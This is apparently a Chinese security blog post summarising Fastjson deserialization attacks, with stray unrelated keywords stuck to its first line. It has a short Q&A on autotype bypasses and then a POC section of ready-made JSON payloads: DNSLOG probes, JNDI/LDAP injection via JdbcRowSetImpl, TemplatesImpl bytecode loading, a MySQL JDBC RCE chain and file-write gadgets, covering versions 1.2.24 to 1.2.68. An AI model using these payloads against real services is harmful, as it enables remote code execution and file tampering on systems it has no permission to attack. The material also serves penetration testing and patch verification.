内蒙古建设安全监督站的网站,个人网页设计作品 html模版,怎么自己做网站服务器,wordpress 管理后台0x00 前言
这一篇主要是针对已经完成的fastjson系列做一个知识点总结#xff0c;一来是为了更加有条理的梳理已经存在的内容#xff0c;二来是为了更好的复习和利用。
0x01 Fastjson基础知识点
1.常见问题#xff1a;
问#xff1a;fastjson的触发点是什么#xff1f;…0x00 前言
这一篇主要是针对已经完成的fastjson系列做一个知识点总结一来是为了更加有条理的梳理已经存在的内容二来是为了更好的复习和利用。
0x01 Fastjson基础知识点
1.常见问题
问fastjson的触发点是什么
fastjson的触发点是parseObject
问fastjson payload最明显的特征是什么
type
问fastjson 最早的利用版本是什么
1.2.24以下的版本
问fastjson 除了可以执行命令还可以做什么其他的事情
因为fastjson本质是执行代码所以可以做所有代码能够实现的事情
问fastjson 的对抗历史中主要是在绕过和对抗什么
checkautotype
问fastjson对抗历史中绕过Autotype的方式有哪些
Autotype开启
类名L类名LL类名[JNDIConfiguration绕过黑名单不存在
Autotype未开启
1.2.48 缓存绕过1.2.68 白名单绕过
问简述一下1.2.48缓存绕过的原理
首先通过Java.lang.class 将调用的类load进map然后进行第二次type调用因为map中存在的所以直接会获取到class。
0x02 POC
1.探测
1.1 DNSLOG
{type:java.net.InetSocketAddress{address:,val:dnslog.com}}
{{type:java.net.URL,val:http://dnslog.com}:a}
2.利用
2.1 不开启AutoType 1.2.24
{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://localhost:9999/Exploit, autoCommit:true}
如果 Feature.SupportNonPublicField开启则使用下面的payload final String CLASS com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;ClassPool classPool ClassPool.getDefault();CtClass ctClass classPool.getCtClass(evil);byte[] bytes ctClass.toBytecode();String encoded Base64.getEncoder().encodeToString(bytes);String payload {\type\:\ CLASS \,\_bytecodes\:[\encoded\],_name:a.b,_tfactory:{ },\_outputProperties\:{}};return payload;1.2.25 1.2.48
{a: {type: java.lang.Class, val: com.sun.rowset.JdbcRowSetImpl }, b: { type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://127.0.0.1:9999/#Exploit, autoCommit: true}}
1.2.68 这个需要使用mysql利用工具
{ name: { type: java.lang.AutoCloseable, type: com.mysql.jdbc.JDBC4Connection, hostToConnectTo: 127.0.0.1, portToConnectTo: 3306, info: { user: yso_CommonsCollections5_calc, password: pass, statementInterceptors: com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor, autoDeserialize: true, NUM_HOSTS: 1 } }
文件操作
{ type: java.lang.AutoCloseable, type: org.eclipse.core.internal.localstore.SafeFileOutputStream, targetPath: C:/Users/wdd/Desktop/ls/ls/1.txt, tempPath: C:/Users/wdd/Desktop/ls/1.txt}
文件写入
{stream: {type: java.lang.AutoCloseable,type: org.eclipse.core.internal.localstore.SafeFileOutputStream,targetPath: C:/Users/wdd/Desktop/ls/ls/4.txt,tempPath: a},writer: {type: java.lang.AutoCloseable,type: com.esotericsoftware.kryo.io.Output,buffer: Y2VzaGk,outputStream: {$ref: $.stream},position: 5},close: {type: java.lang.AutoCloseable,type: com.sleepycat.bind.serial.SerialOutput,out: {$ref: $.writer}}
}2.2 开启AutoType
1.2.25
{type:Lcom.sun.rowset.JdbcRowSetImpl;,dataSourceName:ldap://localhost:9999/a, autoCommit:true}
1.2.42
{type:LLcom.sun.rowset.JdbcRowSetImpl;;,dataSourceName:ldap://localhost:9999/a, autoCommit:true}
1.2.60
{type:org.apache.commons.configuration.JNDIConfiguration,prefix:ldap://localhost:9999/a
}2.3 版本 1.2.5 1.2.60
0x03 Fastjson调用链
历史版本
Java代码审计——Fastjson 24 反序列Java代码审计——Fastjson1.2.25反序列化漏洞Java代码审计——Fastjson1.2.42反序列化漏洞Java代码审计——Fastjson1.2.43反序列化漏洞 Java代码审计——Fastjson1.2.47反序列化漏洞 Java代码审计——Fastjson1.2.60反序列化漏洞
1.2.68
Java代码审计——fastjson 1.2.68 反序列化漏洞 ExceptionJava代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseableJava代码审计——fastjson 1.2.68 反序列化漏洞 Mysql RCEJava代码审计——fastjson 1.2.68 反序列化漏洞 SafeFileOutputStream文件操作Java代码审计——fastjson 1.2.68 反序列化漏洞 文件写入Java代码审计——fastjson 1.2.68 反序列化漏洞 FileOutputStream写文件Java代码审计——fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件
调用链
Java代码审计——Fastjson JdbcRowSetImpl调用链Java代码审计——fastjson TemplatesImpl调用链